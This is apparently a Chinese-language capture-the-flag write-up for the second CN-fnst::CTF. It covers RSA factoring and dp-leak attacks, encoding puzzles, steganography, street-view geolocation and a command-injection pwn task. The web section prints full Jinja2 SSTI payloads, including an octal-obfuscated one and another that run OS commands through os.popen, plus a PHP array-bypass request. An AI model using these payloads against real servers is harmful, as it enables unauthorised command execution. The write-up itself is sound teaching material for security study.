第二届CN-fnst::CTF WriteUp(web,misc,crypto,osint,pwn)
字数 2432 2025-08-22 12:22:54

CN-fnst::CTF 解题思路与技巧详解

密码学(Crypto)部分

1. 签到题

解题要点

  • 使用0宽字符隐写技术
  • 在线解密工具:https://330k.github.io/misc_tools/unicode_steganography.html
  • 直接解密获得flag:flag{H@v3_fUn}

2. ezCrypto (RSA基础)

解题步骤

  1. 识别为RSA加密,参数包括:

    • e = 65537
    • n = 1455925529734358105461406532259911790807347616464991065301847
    • c = 69380371057914246192606760686152233225659503366319332065009
  2. 分解n为p和q:

    • 使用yafu工具分解
    • p = 1201147059438530786835365194567
    • q = 1212112637077862917192191913841
  3. Python解密代码:

from Crypto.Util.number import long_to_bytes
from sympy import mod_inverse

e = 65537
n = 1455925529734358105461406532259911790807347616464991065301847
c = 69380371057914246192606760686152233225659503366319332065009
p = 1201147059438530786835365194567
q = 1212112637077862917192191913841

phi_n = (p - 1) * (q - 1)
d = mod_inverse(e, phi_n)
m = pow(c, d, n)

print(long_to_bytes(m))

结果flag{fact0r_sma11_N}

3. 神秘dp (dp泄露攻击)

解题要点

  • 已知参数:e, n, c, dp
  • 使用dp泄露攻击脚本
  • 参考文章:https://blog.csdn.net/qq_74350234/article/details/142992243
  • 直接套用模板获得flag:flag{dp_i5_1eak}

4. math (大数分解)

解题步骤

  1. 使用在线分解工具:https://factordb.com/
  2. 成功分解n得到p和q
  3. 标准RSA解密流程

Python代码

from Crypto.Util.number import long_to_bytes
from sympy import mod_inverse

# 给定大数p, q, e, c, n
phi_n = (p - 1) * (q - 1)
d = mod_inverse(e, phi_n)
m = pow(c, d, n)
print(long_to_bytes(m))

结果flag{77310934-21fa-4ee4-a783-dc1865ebab28}

5. base1024

解题要点

  • 参考文章:https://blog.csdn.net/qq_15991191/article/details/120555399
  • 使用现成脚本解码
  • 获得flag:flag{脑洞竞技 代码逆向 漏洞挖掘 团队协作 密码破译 云端对决}

6. 不要忘记仰望星空

解题步骤

  1. 社会主义核心价值观解密
  2. 盲文解密
  3. Unicode字符处理(替换⡳⡳⡳为\u)
  4. 最终flag:flag{宇宙探索编辑部}

Web安全部分

1. ez_python (SSTI注入)

解题要点

  1. 文件读取:?file=app.py
  2. 分析源码发现/shell路由存在SSTI
  3. 绕过限制使用{%%}和八进制转义
  4. Payload构造:
/shell?name={%print%0a(lipsum|attr(%22\137\137\147\154\157\142\141\154\163\137\137%22))|attr(%22\137\137\147\145\164\151\164\145\155\137\137%22)(%22\137\137\142\165\151\154\164\151\156\163\137\137%22)|attr(%22\137\137\147\145\164\151\164\145\155\137\137%22)(%22\145\166\141\154%22)(%22\137\137\151\155\160\157\162\164\137\137\050\047\157\163\047\051\056\160\157\160\145\156\050\047\143\141\164\040\146\061\141\147\137\110\063\162\145\061\061\047\051\056\162\145\141\144\050\051\012%22)%}
  1. 使用env或ls查找flag

2. comment_me (SSTI绕过)

解题要点

  1. 发现参数p存在SSTI
  2. 绕过点号过滤用中括号代替
  3. 最终payload:
{{config["__class__"]["__init__"]["__globals__"]["os"]["popen"]('env')["read"]()}}
  1. 获得flag:flag{b59057fe-b750-4684-b780-441623633fc7}

3. ezphp (弱类型与数组绕过)

解题要点

  1. 利用PHP弱类型比较和数组绕过md5检查
  2. Payload:
GET ?usn[]=1&usn1[]=1&sign=env
POST pwd[]=2&pwd1[]=2
  1. 绕过命令过滤使用env获取flag

杂项(Misc)部分

1. sign in (凯撒+Base64)

解题步骤

  1. 识别为凯撒加密的Base64图片数据
  2. Python解密脚本:
def caesar_decrypt(ciphertext, shift):
    # 实现凯撒解密
    pass

# 爆破偏移量直到找到'data'开头的Base64
  1. 使用工具解密图片隐写:http://tools.h3399.cn/aideddesign/img_add_info.html
  2. 获得flag:flag{wobushinailong_woshihuangdou}

2. 简简单单 (多层编码)

解题流程

  1. 社会主义核心价值观解密
  2. 盲文解密
  3. Base62解码(使用工具:https://www.a.tools/Tool.php?Id=120)
  4. Base58解码
  5. 最终flag:flag{8yvLhxrd1k0ap0df}

3. 烟① (多层隐写)

解题步骤

  1. 发现ZIP注释隐写
  2. 佛说解密获得密码:qiuqiugeweishaochouyan
  3. 反编译Python打包的exe:
    • 在线工具:https://pyinstxtractor-web.netlify.app/
    • Pyc反编译:https://www.lddgo.net/string/pyc-compile-decompile
  4. 输入正确数字序列:6, 0.6, 7, 84, 20, 16
  5. 处理Base64图片数据,修复PNG头文件
  6. 根据提示找到公众号NameError_P
  7. 最终flag:flag{AttributeError_Ghost}

取证(Forensics)部分

1. 签到 (地理位置识别)

解题要点

  1. 识别图中地点:
    • 成都春熙路熊猫
    • 宽窄巷子
    • 蜀韵园
  2. 组合得到flag:flag{成都宽窄巷子蜀韵园}

2. 泰国修车店 (谷歌街景)

解题步骤

  1. 识别图中泰国修车店
  2. 谷歌地图定位:https://www.google.com/maps/place/...
  3. 获取坐标:14.352, 100.538
  4. MD5加密得flag

3. 俄罗斯雕像 (街景识别)

解题要点

  1. 识别雕像:Pamyatnik Patriarkhu Germogenu
  2. 谷歌地图定位:https://www.google.com/maps/@55.7542939,37.6137361
  3. 坐标:55.754,37.613
  4. 加密得flag

4. 蒙古平原 (复杂街景)

解题步骤

  1. 通过路牌排除中国
  2. 确定蒙古国平原区域
  3. 查找河流与公路交叉点
  4. 最终定位:https://www.google.com/maps/@45.810734,101.905646
  5. 坐标:45.810,101.905
  6. 加密得flag

PWN部分

1. 真"签到" (命令注入)

解题要点

  1. 分析二进制发现直接执行输入
  2. 绕过字符检查使用转义:s\h
  3. 获得shell
CN-fnst::CTF 解题思路与技巧详解 密码学(Crypto)部分 1. 签到题 解题要点 : 使用0宽字符隐写技术 在线解密工具:https://330k.github.io/misc_ tools/unicode_ steganography.html 直接解密获得flag: flag{H@v3_fUn} 2. ezCrypto (RSA基础) 解题步骤 : 识别为RSA加密,参数包括: e = 65537 n = 1455925529734358105461406532259911790807347616464991065301847 c = 69380371057914246192606760686152233225659503366319332065009 分解n为p和q: 使用yafu工具分解 p = 1201147059438530786835365194567 q = 1212112637077862917192191913841 Python解密代码: 结果 : flag{fact0r_sma11_N} 3. 神秘dp (dp泄露攻击) 解题要点 : 已知参数:e, n, c, dp 使用dp泄露攻击脚本 参考文章:https://blog.csdn.net/qq_ 74350234/article/details/142992243 直接套用模板获得flag: flag{dp_i5_1eak} 4. math (大数分解) 解题步骤 : 使用在线分解工具:https://factordb.com/ 成功分解n得到p和q 标准RSA解密流程 Python代码 : 结果 : flag{77310934-21fa-4ee4-a783-dc1865ebab28} 5. base1024 解题要点 : 参考文章:https://blog.csdn.net/qq_ 15991191/article/details/120555399 使用现成脚本解码 获得flag: flag{脑洞竞技 代码逆向 漏洞挖掘 团队协作 密码破译 云端对决} 6. 不要忘记仰望星空 解题步骤 : 社会主义核心价值观解密 盲文解密 Unicode字符处理(替换⡳⡳⡳为\u) 最终flag: flag{宇宙探索编辑部} Web安全部分 1. ez_ python (SSTI注入) 解题要点 : 文件读取: ?file=app.py 分析源码发现/shell路由存在SSTI 绕过限制使用 {%%} 和八进制转义 Payload构造: 使用env或ls查找flag 2. comment_ me (SSTI绕过) 解题要点 : 发现参数p存在SSTI 绕过点号过滤用中括号代替 最终payload: 获得flag: flag{b59057fe-b750-4684-b780-441623633fc7} 3. ezphp (弱类型与数组绕过) 解题要点 : 利用PHP弱类型比较和数组绕过md5检查 Payload: 绕过命令过滤使用env获取flag 杂项(Misc)部分 1. sign in (凯撒+Base64) 解题步骤 : 识别为凯撒加密的Base64图片数据 Python解密脚本: 使用工具解密图片隐写:http://tools.h3399.cn/aideddesign/img_ add_ info.html 获得flag: flag{wobushinailong_woshihuangdou} 2. 简简单单 (多层编码) 解题流程 : 社会主义核心价值观解密 盲文解密 Base62解码(使用工具:https://www.a.tools/Tool.php?Id=120) Base58解码 最终flag: flag{8yvLhxrd1k0ap0df} 3. 烟① (多层隐写) 解题步骤 : 发现ZIP注释隐写 佛说解密获得密码: qiuqiugeweishaochouyan 反编译Python打包的exe: 在线工具:https://pyinstxtractor-web.netlify.app/ Pyc反编译:https://www.lddgo.net/string/pyc-compile-decompile 输入正确数字序列: 6, 0.6, 7, 84, 20, 16 处理Base64图片数据,修复PNG头文件 根据提示找到公众号 NameError_P 最终flag: flag{AttributeError_Ghost} 取证(Forensics)部分 1. 签到 (地理位置识别) 解题要点 : 识别图中地点: 成都春熙路熊猫 宽窄巷子 蜀韵园 组合得到flag: flag{成都宽窄巷子蜀韵园} 2. 泰国修车店 (谷歌街景) 解题步骤 : 识别图中泰国修车店 谷歌地图定位:https://www.google.com/maps/place/... 获取坐标:14.352, 100.538 MD5加密得flag 3. 俄罗斯雕像 (街景识别) 解题要点 : 识别雕像:Pamyatnik Patriarkhu Germogenu 谷歌地图定位:https://www.google.com/maps/@55.7542939,37.6137361 坐标:55.754,37.613 加密得flag 4. 蒙古平原 (复杂街景) 解题步骤 : 通过路牌排除中国 确定蒙古国平原区域 查找河流与公路交叉点 最终定位:https://www.google.com/maps/@45.810734,101.905646 坐标:45.810,101.905 加密得flag PWN部分 1. 真"签到" (命令注入) 解题要点 : 分析二进制发现直接执行输入 绕过字符检查使用转义: s\h 获得shell